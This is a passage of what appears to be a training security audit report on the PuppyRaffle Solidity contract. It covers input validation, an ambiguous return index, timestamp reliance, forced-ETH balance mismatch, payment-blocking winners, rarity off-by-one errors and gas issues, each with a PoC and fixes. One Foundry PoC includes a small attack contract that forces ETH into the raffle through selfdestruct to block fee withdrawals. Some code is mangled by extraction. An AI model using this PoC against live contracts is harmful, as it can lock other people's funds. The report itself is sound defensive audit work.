        address[] memory newPlayers = new address[](1);
        newPlayers[0] = address(0);
        vm.prank(player1);
        // Zero address is added to players array
        raffle.enterRaffle{value: entranceFee}(newPlayers);
        address[] memory players = raffle.getPlayers();
        assertEq(players[0], address(0), "Zero address was added to
players");
        // This could cause issues in selectWinner (e.g., failed NFT
transfer)
    }

    // Test 3: Fee address as player
    function testEnterRaffleWithFeeAddress() public {
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = feeAddress;
        vm.prank(player1);
        // Fee address is added as a player, creating conflict of interest
        raffle.enterRaffle{value: entranceFee}(newPlayers);
        address[] memory players = raffle.getPlayers();
        assertEq(players[0], feeAddress, "Fee address was added as a
player");
    }

    // Test 4: Previous winner as player
    function testEnterRaffleWithPreviousWinner() public {
        // First, enter a player and select a winner
        address[] memory newPlayers = new address[](1);
        newPlayers[0] = player1;
        vm.prank(player1);
        raffle.enterRaffle{value: entranceFee}(newPlayers);
        vm.warp(block.timestamp + raffleDuration + 1);
        raffle.selectWinner(); // Sets player1 as previousWinner

        // Re-enter previous winner
        address[] memory newPlayersAgain = new address[](1);
        newPlayersAgain[0] = player1;
        vm.prank(player1);
        // Previous winner is allowed to re-enter
        raffle.enterRaffle{value: entranceFee}(newPlayersAgain);
        address[] memory players = raffle.getPlayers();
        assertEq(players[0], player1, "Previous winner was added again");
    }
}
```

Recommended Mitigation: Add comprehensive input validations before processing `newPlayers` and optimize the duplicate check to reduce gas usage. Suggested changes:

1. **Require a non-empty `newPlayers` array.**
2. **Validate each address in `newPlayers` to ensure it is not `address(0)`, `feeAddress`, or `previousWinner`.**
3. **Check for duplicates within `newPlayers` before adding to `players` to avoid unnecessary state changes.**
4. **Use a mapping to track existing players for efficient duplicate checks.**

Example Refactored Code:

```
mapping(address => uint256) private s_addressToRaffleId; // Private to reduce
contract size
uint256 public raffleId; // Public if external access is needed
uint256 constant MAX_PLAYERS_PER_CALL = 50; // Limit to prevent DoS

function enterRaffle(address[] memory newPlayers) public payable {
    require(newPlayers.length > 0, "PuppyRaffle: Player array cannot be
empty");
    require(newPlayers.length <= MAX_PLAYERS_PER_CALL, "PuppyRaffle: Too many
players");
    require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must
send enough to enter raffle");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        address player = newPlayers[i];
        require(player != address(0), "PuppyRaffle: Zero address not
allowed");
        require(player != feeAddress, "PuppyRaffle: Fee address cannot
enter");
        require(player != previousWinner, "PuppyRaffle: Previous winner
cannot enter");
        require(s_addressToRaffleId[player] != raffleId, "PuppyRaffle: Duplicate
player");
        s_addressToRaffleId[player] = raffleId;
        players.push(player);
    }

    emit RaffleEnter(newPlayers);
}
```

[M-3] Incorrect hendling of `Not Found` in `PuppyRaffle::getActivePlayerIndex`

Description: The `PuppyRaffle::getActivePlayerIndex` function returns the index of a player in the `players` array but uses `0` as the default return value when the player is not found. This creates ambiguity because `0` is also a valid index if the player is located at the first position in the array. As a result, users cannot reliably distinguish between a player being at index `0` and a player not being in the array. This violates the function's documented intent to return `0` when a player is "not active," potentially leading to incorrect assumptions about a player's participation status.

Impact: Medium. The ambiguous return value can confuse users or external contracts relying on `PuppyRaffle::getActivePlayerIndex` to determine if a player is active in the raffle. For example, a user at index `0` might mistakenly believe they are not active, leading to incorrect decisions (e.g., attempting to re-enter the raffle). This could also affect front-end interfaces or downstream logic that depend on accurate player status, reducing trust in the protocol and potentially causing user errors.

Proof of Concept:
The getActivePlayerIndex function is defined as:

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0; // Ambiguous return value
}
```

- If the `players` array contains `[playerA, playerB, playerC]` and `getActivePlayerIndex(playerA)` is called, it returns `0` indicating `playerA` is at index `0`.
- If `playerD` is not in the array, `getActivePlayerIndex(playerD)` also returns `0`, incorrectly suggesting `playerD` is at index `0` rather than not active. This ambiguity makes it impossible for a caller to reliably determine whether a player is at index `0` or not in the array at all.

Recommended Mitigation:
Modify the function to explicitly distinguish between a valid index `0` and a "not found" case. One approach is to return a tuple containing the index and a boolean indicating whether the player was found. Alternatively, revert with an error message when the player is not found, or use a sentinel value (e.g., `type(uint256).max`) for "not found" if a single return value is preferred.

> **Example Refactored Code:**

Option 1: Return a tuple with a boolean flag.

```
function getActivePlayerIndex(address player) external view returns
(uint256 index, bool isActive) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return (i, true);
        }
    }
    return (0, false); // Explicitly indicate player not found
}
```

Option 2: Revert on not found.

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    revert("PuppyRaffle: Player not found");
}
```

Option 3: Use a sentinel value

```
function getActivePlayerIndex(address player) external view returns
(uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return type(uint256).max; // Sentinel value for not found
}
```

Update the function's documentation to clarify the return value behavior, and ensure front-end or calling contracts handle the new return format appropriately.

[M-4] Reliance on `block.timestamp` for Raffle End Check is Susceptible to Miner Manipulation

Description:
The `selectWinner` function uses `block.timestamp` to determine if the raffle duration has elapsed, with the condition `require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over")`. However, `block.timestamp` can be manipulated by miners within a small range (typically up to 15 seconds, depending on network consensus rules). This allows a malicious miner to slightly adjust the timestamp to prematurely or delay triggering the raffle end, potentially influencing the outcome by including or excluding certain players or aligning with favorable conditions for a specific winner.

Impact:
Medium. Miner manipulation of `block.timestamp` could allow a malicious miner to control when the raffle ends, potentially enabling them to include or exclude participants or align the timestamp with a favorable `winnerIndex` calculation (which also uses `block.timestamp`). While the manipulation window is small, it could still affect fairness in competitive raffles or be combined with other vulnerabilities (e.g., weak randomness) to bias outcomes, undermining user trust and protocol integrity.

Proof of Concept:
The relevant code in `selectWinner` is:

```
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle
not over");
```

- **A miner with a significant stake in the raffle (e.g., as a participant or colluding with one) could set `block.timestamp` slightly earlier or later within the acceptable range (e.g., ±15 seconds on Ethereum).**

- For example, if `raffleStartTime + raffleDuration` is just a few seconds away, a miner could set `block.timestamp` to meet the condition early, triggering `selectWinner` before additional players join, potentially favoring a specific outcome.
- This manipulation could be combined with the weak randomness in `winnerIndex` calculation (also using `block.timestamp`), increasing the miner's ability to influence the winner selection.

Recommended Mitigation:
To reduce reliance on `block.timestamp`, consider the following approaches:

1. Use block number instead: Replace `block.timestamp` with `block.number` for raffle duration checks, as block numbers are less susceptible to manipulation. Estimate the number of blocks corresponding to `raffleDuration` (e.g., assuming ~12 seconds per block on Ethereum, calculate `raffleDuration / 12`). Update the check to:

```
require(block.number >= raffleStartBlock + raffleDurationInBlocks, "PuppyRaffle: Raffle not over");
```

Store `raffleStartBlock = block.number` in the constructor or when resetting the raffle.
2. Use an external oracle: Integrate a trusted oracle (e.g., Chainlink Automation) to trigger `selectWinner` at a precise time, reducing reliance on on-chain variables like `block.timestamp`.
3. Bound the manipulation window: If `block.timestamp` must be used, add a safety margin to the duration check (e.g., require a minimum buffer of 30 seconds past `raffleDuration`) to make manipulation less impactful.
4. Document the reliance on `block.timestamp` and its risks in the project's documentation, and consider combining with a more secure randomness mechanism (e.g., Chainlink VRF) to mitigate related vulnerabilities in winner selection.

Example Refactored Code (Using Block Number):

```
uint256 public raffleStartBlock;
uint256 public raffleDurationInBlocks; // Set in constructor (e.g., raffleDuration / 12)

constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
    // ... other initialization
    raffleStartBlock = block.number;
    raffleDurationInBlocks = _raffleDuration / 12; // Assuming ~12s/block
}

function selectWinner() external {
    require(block.number >= raffleStartBlock + raffleDurationInBlocks, "PuppyRaffle: Raffle not over");
    // ... rest of the function
    raffleStartBlock = block.number; // Reset for next raffle
}
```

This approach reduces miner influence while maintaining the raffle's timing mechanism.

[M-5] Mishandling of ETH Balance Check in `PuppyRaffle::withdrawFees()`

Description:
The contract incorrectly assumes that the total ETH balance of the contract (`PuppyRaffle::address(this).balance`) will always match the `PuppyRaffle::totalFees` variable. This assumption is unsafe because malicious actors or unintended direct transfers can increase the contract's balance without updating `PuppyRaffle::totalFees`. As a result, the `require` check in `PuppyRaffle::withdrawFees()` can fail even when fees are legitimately available, potentially blocking withdrawals.

```
function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;

        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact:

- **The owner may be unable to withdraw collected fees.**
- **Funds can become permanently locked in the contract.**
- **Creates a Denial-of-Service (DoS) condition for fee withdrawal.**

Proof of Concept:

- **This test simulates an attacker sending ETH directly to the `PuppyRaffle` contract via `selfdestruct()`.**
- **Then, 4 players enter the raffle and `selectWinner()` is called.**
- **Because `address(this).balance` now exceeds `totalFees`, the `require` in `withdrawFees()` fails.**

> **Result: - Owner cannot withdraw fees due to the balance mismatch.**
>
> - **Demonstrates that unsolicited ETH can lock fee withdrawals, creating a Denial-of-Service (DoS). Confirms Mishandling Of ETH vulnerability.**

Logs:

- **Contract Balance: 1000000000000000000 (~ 1 ETH)**
- **Total Fees: 800000000000000000 (~ 0.8 ETH)**

Add the following to the `PuppyRaffleTest.t.sol` test file

▶ **PoC Code**

```
function test_MishandlingOfEth() public {
AttackPuppyRaffle attackPuppyRaffle = new AttackPuppyRaffle(
puppyRaffle);
vm.deal(address(attackPuppyRaffle), 0.2 ether);

vm.prank(address(attackPuppyRaffle));
attackPuppyRaffle.attack{value: 0.2 ether}(); // 0.2 ETH sent
directly to contract

// Simulate 4 players entering the raffle
address ;
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);

puppyRaffle.selectWinner();

uint256 contractBalance = address(puppyRaffle).balance;
uint256 totalFees = puppyRaffle.totalFees();

console.log("Contract Balance: %s", contractBalance);
console.log("Total Fees: %s", totalFees);

assert(contractBalance > totalFees);

vm.expectRevert();
puppyRaffle.withdrawFees();

 // Logs:
 // Contract Balance: 1000000000000000000
 // Total Fees: 800000000000000000
}

contract AttackPuppyRaffle {
 PuppyRaffle target;

 constructor(PuppyRaffle _target) {
 target = _target;
 }

 function attack() external payable {
 selfdestruct(payable(address(target))); // Sends ETH directly
to the contract
 }
}
```

Recommended Mitigation:

- Track fees explicitly in a dedicated variable.
- Do not compare address(this).balance to totalFees.
- remove this require:

```diff
function withdrawFees() external {
   // @audit- Mishandling of eth
-  require(address(this).balance == uint256(totalFees), "
   PuppyRaffle: There are currently players active!");
   uint256 feesToWithdraw = totalFees;
   totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
     require(success, "PuppyRaffle: Failed to withdraw fees");
}
```

[M-6] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L/I-01] Use of Outdated Solidity Compiler Version

Description:
The contract uses Solidity version 0.7.6, released in December 2020, which is now over 4 years old. This outdated version lacks critical security features introduced in Solidity 0.8.0 and later, such as built-in overflow and underflow checks for arithmetic operations. In Solidity <0.8.0, arithmetic operations wrap around silently on overflow, potentially leading to severe bugs like incorrect calculations or fund misallocation.

Furthermore, numerous compiler bugs have been identified and fixed in releases after 0.7.6. For instance, the Keccak Caching Bug (affecting optimizer-enabled compilations) could impact hash-based operations like winner selection via `keccak256()`. A comprehensive list of known bugs can be found in the Solidity documentation at https://docs.soliditylang.org/en/latest/bugs.html and the GitHub repository's bugs.json file (https://github.com/ethereum/solidity/blob/develop/docs/bugs.json). Using an old compiler exposes the contract to these resolved vulnerabilities, reducing overall security and maintainability.

Impact:
Low to Medium. Silent overflows or truncations can lead to incorrect fee accumulations, prize distributions, or raffle outcomes, potentially causing financial losses or unfair results. Known compiler bugs in 0.7.6 could be exploited if they align with the contract's logic, and the absence of modern features makes the code harder to audit and maintain.

Proof of Concept:
In Solidity 0.7.6, arithmetic operations lack automatic checks, allowing overflows to wrap around without reverting. A specific example in the `selectWinner` function involves fee calculation and accumulation:

```
uint256 totalAmountCollected = players.length * entranceFee;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
```

- **If `players.length` is large enough that `players.length * entranceFee` exceeds `type(uint256).max`, the multiplication overflows and wraps around, resulting in an incorrect (small) `totalAmountCollected`.**
- **Even without overflow in multiplication, if `fee` exceeds `type(uint64).max` (approximately 18.446744073709551615 ether, or 2^64 - 1 wei), casting `uint64(fee)` truncates to the lower 64 bits (equivalent to `fee % 2^64`). For example:**
  - **Assume `fee = 20 ether` (20 * 10^18 wei = 20000000000000000000 wei).**
  - **`uint64(fee)` truncates to 1553255926290448384 wei (1.553255926290448384 ether).**
- **Adding this to `totalFees` (a uint64) could cause further wrap-around if the sum exceeds `type(uint64).max`, as addition is unchecked.**

This leads to under-accumulation of fees, allowing the protocol owner to receive less than intended while overpaying the winner. Older Solidity versions like 0.7.6 are prone to such issues because they require manual overflow protection. In contrast, Solidity 0.8.0+ would revert on overflow by default. Numerous similar bugs have been fixed post-0.7.6, including optimizer-related issues that could

subtly alter bytecode and introduce exploitable behaviors in contracts relying on hashes or complex arithmetic.

Recommended Mitigation:
Upgrade the contract to the latest stable Solidity version (e.g., 0.8.24 as of September 2025) to benefit from built-in checked arithmetic and bug fixes. This may require updating dependencies like OpenZeppelin contracts for compatibility. Test thoroughly for any breaking changes introduced in 0.8.0 (e.g., explicit conversions, changes to `fallback` functions).

[L/I-2] Participants are mislead by the rarity chances.

Relevant GitHub Links:

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.sol#L37-L50

https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.sol#L138-L146

Summary:

The drop chances defined in the state variables section for the COMMON and LEGENDARY are misleading.

Proof of Concept:
The 3 rarity scores are defined as follows:

```
    uint256 public constant COMMON_RARITY = 70;
    uint256 public constant RARE_RARITY = 25;
    uint256 public constant LEGENDARY_RARITY = 5;
```

This implies that out of a really big number of NFT's, 70% should be of common rarity, 25% should be of rare rarity and the last 5% should be legendary. The `selectWinners` function doesn't implement these numbers.

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

The `rarity` variable in the code above has a possible range of values within [0;99] (inclusive) This means that `rarity <= COMMON_RARITY` condition will apply for the interval [0:70], the `rarity <=`

`COMMON_RARITY + RARE_RARITY` condition will apply for the [71:95] rarity and the rest of the interval [96:99] will be of `LEGENDARY_RARITY`

The [0:70] interval contains 71 numbers `(70 - 0 + 1)`

The [71:95] interval contains 25 numbers `(95 - 71 + 1)`

The [96:99] interval contains 4 numbers `(99 - 96 + 1)`

This means there is a 71% chance someone draws a COMMON NFT, 25% for a RARE NFT and 4% for a LEGENDARY NFT.

Impact:

Depending on the info presented, the raffle participants might be lied with respect to the chances they have to draw a legendary NFT.

Tools Used:

Manual review

Recommended Mitigation:

Drop the `=` sign from both conditions:

```
--      if (rarity <= COMMON_RARITY) {
++      if (rarity < COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
--      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
++      } else if (rarity < COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

Informational

[I-1] Insecure Compiler Version Declaration

Description: The contract uses a floating pragma directive (pragma solidity ^0.7.6;), which allows the contract to be compiled with any compiler version from 0.7.6 and above within the 0.7.x series. Floating pragmas can lead to unintended behavior, as different compiler versions may introduce changes, bug fixes, or optimizations that alter how the contract executes, potentially introducing vulnerabilities or breaking functionality.

Impact: Using a floating pragma increases the risk of deploying the contract with a compiler version that has known bugs or unexpected behavior, which could lead to security vulnerabilities or functional issues in the deployed contract. This undermines the reliability and predictability of the contract's execution.

Proof of Concept: The contract specifies pragma solidity ^0.7.6;. If compiled with a newer version in the 0.7.x series (e.g., 0.7.7 or later, if released), it may include compiler changes or bug fixes that alter the contract's behavior in ways not anticipated during development. For example, differences in gas optimization or handling of edge cases could lead to unexpected results, such as higher gas costs or vulnerabilities.

Recommended Mitigation: Replace the floating pragma with a fixed compiler version to ensure consistent behavior across all compilations. For example, explicitly set the pragma to the tested and verified compiler version used during development.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
```

Additionally, document the chosen compiler version in the project's documentation and ensure all developers and deployment scripts use the same version to avoid discrepancies.

[I-2] Missing Zero Address Validation in `PuppyRaffle::constructor` and `PuppyRaffle::changeFeeAddress`

Description: The constructor and changeFeeAddress function in the PuppyRaffle contract assign the `_feeAddress` and `newFeeAddress` parameters, respectively, to the feeAddress state variable without validating that the provided address is not the zero address (address(0)). Setting feeAddress to the zero address could result in fees being sent to an unrecoverable null address, potentially causing a loss of funds or breaking protocol functionality, as no valid recipient would receive the collected fees.

Impact: Low to Medium. Assigning the zero address to feeAddress could lead to permanent loss of fees intended for the protocol owner, as any transfer to address(0) is effectively burned. This could disrupt the protocol's economic model, reduce trust among users, and cause operational issues, especially if fees are critical to the protocol's sustainability. Proof of Concept:The following code snippets lack zero address checks:

In the constructor:

```
constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
    entranceFee = _entranceFee;
    feeAddress = _feeAddress;  // No check for address(0)
    raffleDuration = _raffleDuration;
    raffleStartTime = block.timestamp;
    ...
}
```

In the changeFeeAddress function:

```
function changeFeeAddress(address newFeeAddress) external onlyOwner {
    feeAddress = newFeeAddress;  // No check for address(0)
    emit FeeAddressChanged(newFeeAddress);
}
```

If `_feeAddress` or `newFeeAddress` is address(0), subsequent fee transfers (e.g., in selectWinner) will send funds to the zero address, making them unrecoverable. This could happen due to a mistake during deployment or when the owner updates the fee address.

Recommended Mitigation: Add explicit zero address validation in both the constructor and changeFeeAddress function to ensure feeAddress is always a valid, non-zero address. This aligns with best practices for address validation in Solidity contracts.
Example Refactored Code:

```
constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
    require(_feeAddress != address(0), "PuppyRaffle: Fee address cannot be
zero");
    entranceFee = _entranceFee;
    feeAddress = _feeAddress;
    raffleDuration = _raffleDuration;
    raffleStartTime = block.timestamp;
    ...
}

function changeFeeAddress(address newFeeAddress) external onlyOwner {
    require(newFeeAddress != address(0), "PuppyRaffle: New fee address cannot
be zero");
    feeAddress = newFeeAddress;
    emit FeeAddressChanged(newFeeAddress);
}
```

Consider adding similar checks for other address parameters (e.g., in enterRaffle) if applicable, and document the importance of valid address inputs in the project's documentation.

[I-3] Doesn't follow `CEI` pattern in `PuppyRaffle::selectWinner` function, which is not the best practice.

Description: The `selectWinner` function makes an external call to transfer an NFT to the winner before updating the contract's state variables (e.g., `previousWinner`, `players`, `raffleStartTime`). This violates the Checks-Effects-Interactions (CEI) pattern, which recommends performing all checks and state updates before making any external calls. Failing to follow CEI can expose the contract to reentrancy attacks, where a malicious contract could exploit the external call to manipulate the contract's state before it is updated.

Impact: Can create so many vulnerabilities!

Proof of Concept:

```
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
@>        _safeMint(winner, tokenId);   // Change state after external call
```

Recommended Mitigation:
It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-       (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);  // Effect
+       (bool success,) = winner.call{value: prizePool}("");   //
Interaction
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");   // Interaction
```

[I-4] Avoid the Use of "Magic Numbers"

Description: The contract currently uses hardcoded numeric literals (e.g., percentages like 80, 20, 100) directly in calculations. This practice, commonly referred to as magic numbers, reduces code readability and makes future maintenance more error-prone. Developers or Auditors may struggle to understand what these numbers represent without additional context.

Recommendation: Replace magic numbers with named constants to improve clarity and maintainability. This also pre-vents accidental miscalculations if the values need to change in the future.

Example Improvement:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

> **Instead, you could use:**

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PERCENTAGE_BASE = 100;
uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
PERCENTAGE_BASE;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / PERCENTAGE_BASE
;
```

[1-5] Unused Internal Function `PuppyRaffle::_isActivePlayer`(DEAD CODE)

Description:
The contract defines the internal function `PuppyRaffle::_isActivePlayer`, which iterates through the `PuppyRaffle::players` array to check if `msg.sender` is currently active. However, this function is never invoked anywhere in the contract.

Impact:

- Unnecessary increase in code size and bytecode.
- Adds cognitive overhead for reviewers and auditors.
- May mislead future developers into believing the function plays an active role in the contract logic.

Recommended Mitigation:

- If this function is truly unnecessary, remove it to reduce clutter.
- If the functionality is intended, integrate it into relevant checks (e.g., `PuppyRaffle::enterRaffle`, `PuppyRaffle::refund`) instead of duplicating logic.

[I-6] Insufficient Test Coverag

Description:
Current test coverage is below 90%, indicating that some parts of the code remain untested. Low coverage, especially in branches, increases the risk of undetected bugs or vulnerabilities.

File%	Lines%	Statements%	Branches%	Funcs
script/DeployPuppyRaffle.sol	0.00%(0/4)	0.00%(0/4)	100.00%(0/0)	0.00%(0/1)
src/PuppyRaffle.sol	84.21%(64/76)	84.88%(73/86)	69.23%(18/26)	80.00%(8/10)
Total	80.00% (64/80)	81.11%(73/90)	69.23%(18/26)	72.73%(8/11)

Recommended Mitigation:

- Increase test coverage to 90%+, prioritizing branch coverage.
- Add tests for edge cases, revert scenarios, and event emissions.
- Include tests for deployment scripts (DeployPuppyRaffle.sol) to improve overall coverage.

Gas

[G-1] Unoptimized State Variables, unchanged state variable should be declared constant or immutable.

Description:

- The contract defines several state variables (raffleDuration, commonImageUri, rareImageUri and legendaryImageUri) that could be marked as immutable or constant to reduce gas costs.

- raffleDuration is set once during deployment and never changes. This should be marked as immutable to avoid repeated storage reads.
- Variables like commonImageUri, rareImageUri and legendaryImageUri are fixed values that should be marked as constant. Failing to do this increases deployment cost and runtime gas usage since values are loaded from storage instead of directly from code.

Impact: Unnecessary storage reads increase gas costs. This does not affect contract security but leads to inefficient gas usage, especially when these variables are accessed frequently.

Proof of Concept:

- Each access to raffleDuration costs an SLOAD (~2100 gas).
- Marking it as immutable reduces this to a direct value load (~3 gas).
- Similarly, commonImageUri,rareImageUri and legendaryImageUri as constant variables are embedded in bytecode and incur no storage cost.

Recommended Mitigation:

- Use the immutable keyword for values assigned only once in the constructor (raffleDuration).
- Use the constant keyword for truly constant values (commonImageUri, rareImageUri and legendaryImageUri).

```
uint256 public immutable raffleDuration;                   // Line : 24

string private constant COMMONIMAGEURI = "ipfs://***";      // Line : 38
string private constant RAREIMAGEURI = "ipfs://***";        // Line : 43
string private constant LEGENDARYIMAGEURI = "ipfs:/***";    // Line : 48
```

[G-2] Storage Variables in Loops Should Be Cached

Description: Accessing players.length repeatedly in nested loops reads from storage each time, which is expensive in gas. Caching the length in memory improves gas efficiency without changing logic.

Impact:

- Reduces gas cost for loops, especially for large players arrays.
- Helps prevent transactions from exceeding block gas limits, reducing DoS risk due to high gas usage.

Recommended Mitigation: Should be fix all the loop this way ->

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {              // Line :
86
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {    // Line :
87
+           for (uint256 j = i + 1; j < playersLength; j++) {
```

```
                require(players[i] != players[j], "PuppyRaffle: Duplicate 
player");
            }
        }
```

[CI-1] Inconsistent Naming Conventions Reduce Code Readability

Description: The contract employs inconsistent naming conventions for state variables and events, deviating from established Solidity best practices. For instance, state variables like entranceFee, raffleStartTime, and totalFees use camelCase without prefixes, while events like RaffleEnter use PascalCase. Additionally, there is no use of prefix-style naming (e.g., Hungarian notation) to indicate variable types or roles, such as s_ for state variables or i_ for immutable variables. Consistent naming conventions enhance code readability, improve maintainability, and reduce the cognitive load for developers and auditors, aligning with standards like those in the Solidity Style Guide (https://docs.soliditylang.org/en/latest/style-guide.html).

Impact: Informational. While not a security or functional issue, inconsistent naming conventions can obscure the purpose of variables and events, increasing the risk of misinterpretation during development, code reviews, or audits. This can lead to slower onboarding for new developers, maintenance challenges, and a higher likelihood of introducing bugs due to confusion over variable roles or types.

Proof of Concept:

The contract exhibits mixed naming styles without clear conventions or type prefixes:

```
uint256 public immutable entranceFee;   // camelCase, no prefix
uint256 public raffleDuration;         // camelCase, no prefix
uint256 public raffleStartTime;        // camelCase, no prefix
address public previousWinner;          // camelCase, no prefix
address public feeAddress;              // camelCase, no prefix
uint64 public totalFees = 0;            // camelCase, no prefix
event RaffleEnter(address[] players);  // PascalCase, no prefix
```

In contrast, adhering to a standard like camelCase for state variables with prefixes (e.g., s_ for mutable state, i_ for immutable) and PascalCase for events with clear naming would improve clarity.

Recommended Mitigation:

Adopt a consistent naming convention aligned with Solidity best practices:

- **Use camelCase for state variables and functions, with prefixes like s_ for mutable state variables and i_ for immutable variables.**
- **Use PascalCase for events, ensuring descriptive names that reflect their purpose.**
- **Avoid ambiguous or overly generic names to enhance clarity.**

Example Refactored Code:

```
uint256 public immutable i_entranceFee;      // Immutable, prefixed
uint256 public immutable s_raffleDuration;   // Mutable, prefixed
uint256 public s_raffleStartTime;            // Mutable, prefixed
address public s_previousWinner;              // Mutable, prefixed
address public s_feeAddress;                  // Mutable, prefixed
uint64 public s_totalFees = 0;                // Mutable, prefixed
event RaffleEntered(address[] players);      // PascalCase, descriptive
```

Document the chosen naming convention in the project's README or a style guide to ensure consistency across the codebase. This aligns with the Solidity Style Guide and improves maintainability for future development and audits.
